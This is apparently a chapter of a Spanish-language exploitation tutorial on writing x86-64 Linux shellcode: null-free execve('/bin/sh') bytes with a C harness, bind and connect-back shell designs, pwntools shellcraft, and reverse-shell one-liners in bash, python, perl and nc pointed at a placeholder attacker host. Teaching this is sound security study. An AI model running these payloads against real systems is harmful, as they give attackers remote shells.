- 0x510 — Assembly vs C
- 0x520 — El camino al shellcode
- 0x530 — Shell-spawning shellcode
- 0x540 — Port-binding shellcode
- 0x550 — Connect-back shellcode
C te lleva al ensamblador, pero hay tres motivos para escribirlo a mano:
- Tamaño. El shellcode tiene que caber en un buffer pequeño. Un
execve("/bin/sh")en C compilado son cientos de bytes. En ensamblador puedes hacerlo en 27. - Sin nulos. Muchos vectores (strcpy, strcat) cortan en el primer
\0. El compilador genera nulls a discreción; el ensamblador a mano puede evitarlos. - Sin dependencias. Tu shellcode no puede usar libc — no está cargada en el contexto en el que se ejecuta. Tienes que hablar directamente con el kernel vía syscalls.
Las syscalls se invocan con la instrucción syscall. Los argumentos van en registros:
| Registro | Significado |
|---|---|
rax |
número de syscall |
rdi |
1er argumento |
rsi |
2º argumento |
rdx |
3er argumento |
r10 |
4º argumento (rcx se reserva para syscall) |
r8 |
5º argumento |
r9 |
6º argumento |
rax |
retorno |
Lista completa en /usr/include/asm/unistd_64.h. Las que más usaremos:
| Nº | Syscall | Args |
|---|---|---|
| 0 | read |
fd, buf, count |
| 1 | write |
fd, buf, count |
| 2 | open |
pathname, flags, mode |
| 3 | close |
fd |
| 9 | mmap |
... |
| 10 | mprotect |
addr, len, prot |
| 41 | socket |
domain, type, proto |
| 42 | connect |
fd, sockaddr, len |
| 43 | accept |
fd, sockaddr, len |
| 49 | bind |
fd, sockaddr, len |
| 50 | listen |
fd, backlog |
| 59 | execve |
filename, argv, envp |
| 60 | exit |
status |
Diferencia con x86 32-bit: ahí el syscall se invoca con
int 0x80, los args van enebx, ecx, edx, esi, edi, ebpy los números son distintos (verunistd_32.h).
codigo/0x520/helloworld.s — assembler estándar para Linux x86-64:
; helloworld.s — escribe "Hola!\n" en stdout y sale.
; Compilar:
; nasm -f elf64 helloworld.s -o helloworld.o
; ld helloworld.o -o helloworld
section .data
msg: db "Hola!", 0x0a
msglen: equ $ - msg
section .text
global _start
_start:
mov rax, 1 ; sys_write
mov rdi, 1 ; stdout
lea rsi, [rel msg]
mov rdx, msglen
syscall
mov rax, 60 ; sys_exit
xor rdi, rdi
syscallCompilar:
nasm -f elf64 codigo/0x520/helloworld.s -o /tmp/hw.o
ld /tmp/hw.o -o codigo/0x520/helloworld
./codigo/0x520/helloworld
# Hola!Tamaño:
$ wc -c codigo/0x520/helloworld
12872 codigo/0x520/helloworld
$ size codigo/0x520/helloworld
text data bss dec hex filename
45 6 0 51 33 codigo/0x520/helloworldEl binario completo son ~13 KB (overhead ELF), pero el código real son 45 bytes. El compilador C que genera el mismo printf("Hola!\n") saca cientos.
Para meter ensamblador en un exploit necesitamos los bytes crudos:
$ objdump -d codigo/0x520/helloworld | grep -A20 _start
0000000000401000 <_start>:
401000: b8 01 00 00 00 mov eax,0x1
401005: bf 01 00 00 00 mov edi,0x1
...O más cómodo:
$ for i in $(objdump -d codigo/0x520/helloworld | grep '^ ' | cut -f2); do echo -n "\\x$i"; done
\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00...mov rax, 1 se ensambla como b8 01 00 00 00 — cuatro nulls. Si pasamos el shellcode por strcpy, se corta tras el primer null. Solución: usar instrucciones que generen el mismo resultado sin nulls:
; en lugar de mov rax, 1
xor eax, eax ; eax = 0 (xor reg,reg = 31 c0 = sin nulls)
inc al ; eax = 1 (fe c0)Ahorramos espacio y eliminamos nulos. Es la regla principal del shellcode-fu: nunca usar nada con bytes 0x00.
El "Hello, world" del shellcode es ejecutar /bin/sh. El syscall correspondiente:
execve("/bin/sh", argv, envp);
// equivalente a:
// rax = 59
// rdi = "/bin/sh\0"
// rsi = argv (puede ser NULL)
// rdx = envp (puede ser NULL)section .data
binsh: db "/bin/sh", 0
section .text
global _start
_start:
lea rdi, [rel binsh]
xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
mov rax, 59
syscallcodigo/0x530/exec_sh_nonull.s:
section .text
global _start
_start:
; "/bin//sh" como qword (8 bytes): "//bin/sh" reverse little-endian
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" (la doble / es padding inocuo)
push rbx
mov rdi, rsp ; rdi -> "/bin//sh" en la pila
xor rsi, rsi
xor rdx, rdx
mov al, 59 ; rax = 0 (xor previo) → mov al = 59
syscallTruco clave: encolar "/bin//sh" en la pila como un valor inmediato de 64 bits y apuntar rdi a rsp. Así no necesitamos una sección .data, no hay nulls, y el shellcode mide 22 bytes.
Verificar que no hay nulls:
$ nasm -f elf64 codigo/0x530/exec_sh_nonull.s -o /tmp/sh.o
$ objcopy -O binary --only-section=.text /tmp/sh.o /tmp/sh.bin
$ xxd /tmp/sh.bin
00000000: 48bb 2f62 696e 2f2f 7368 5348 89e7 4831 H./bin//shSH..H1
00000010: f648 31d2 b03b 0f05 .H1..;..
$ wc -c /tmp/sh.bin
24 /tmp/sh.binCero bytes 00.
codigo/0x530/test_shellcode.c — un programa que ejecuta el shellcode como código:
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char shellcode[] =
"\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
"\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2"
"\xb0\x3b\x0f\x05";
int main(void) {
void *page = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(page, shellcode, sizeof shellcode);
((void(*)())page)();
return 0;
}Compilar y ejecutar:
$ make 0x530 && ./codigo/0x530/test_shellcode
$ whoami
clau
$ exit # cierra la shell hijammap con PROT_EXEC evita la restricción NX del binario host. En un exploit real, la región ejecutable la marca el atacante con mprotect o salta a system() (ret2libc).
Una bind shell abre un puerto en el target y atiende conexiones; quien se conecte recibe una shell.
Pasos:
socket(AF_INET, SOCK_STREAM, 0)→ fdbind(fd, &addr, sizeof addr)listen(fd, 0)accept(fd, NULL, NULL)→ cliente_fddup2(cliente_fd, 0/1/2)(stdin/stdout/stderr → cliente)execve("/bin/sh", NULL, NULL)
codigo/0x540/bindshell.s — implementación en x86-64 sin nulls (~95 bytes). Comentado paso a paso.
Probar en localhost:
make 0x540
./codigo/0x540/test_bindshell &
nc 127.0.0.1 31337
$ id
uid=1000(...)
$ exitUna reverse shell invierte la dirección: el target conecta hacia el atacante. Pasa firewalls outbound-permisivos. Es la opción default en pentesting moderno.
Pasos:
socket(AF_INET, SOCK_STREAM, 0)→ fdconnect(fd, &atacante, sizeof atacante)dup2(fd, 0/1/2)execve("/bin/sh", NULL, NULL)
Probar:
# en el "atacante":
nc -lvnp 4444
# en el "target":
make 0x550 && ./codigo/0x550/test_reverse 127.0.0.1 4444
# (nc recibe la shell)En la práctica casi nadie escribe shellcode a mano: se usa shellcraft:
$ python3 -c "from pwn import *; context.arch='amd64'; print(disasm(asm(shellcraft.amd64.linux.connect('1.2.3.4', 4444) + shellcraft.amd64.linux.dupsh('rbp'))))"O directamente como bytes:
$ python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.dupsh()).hex())"
6a3b58 ... etc.shellcraft se ocupa de mantener la calling convention, evitar nulls y generar variantes (statically-linked, alphanumeric, staged).
Cuando el target tiene bash o python, no necesitas shellcode:
# bash reverse
bash -i >& /dev/tcp/atacante/4444 0>&1
# python3 reverse
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("atac",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'
# perl
perl -e 'use Socket;$i="atac";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# nc con -e (poco común; -e está deshabilitado en Debian/Ubuntu por defecto)
nc -e /bin/sh atac 4444Siguiente: 0x600 — Countermeasures.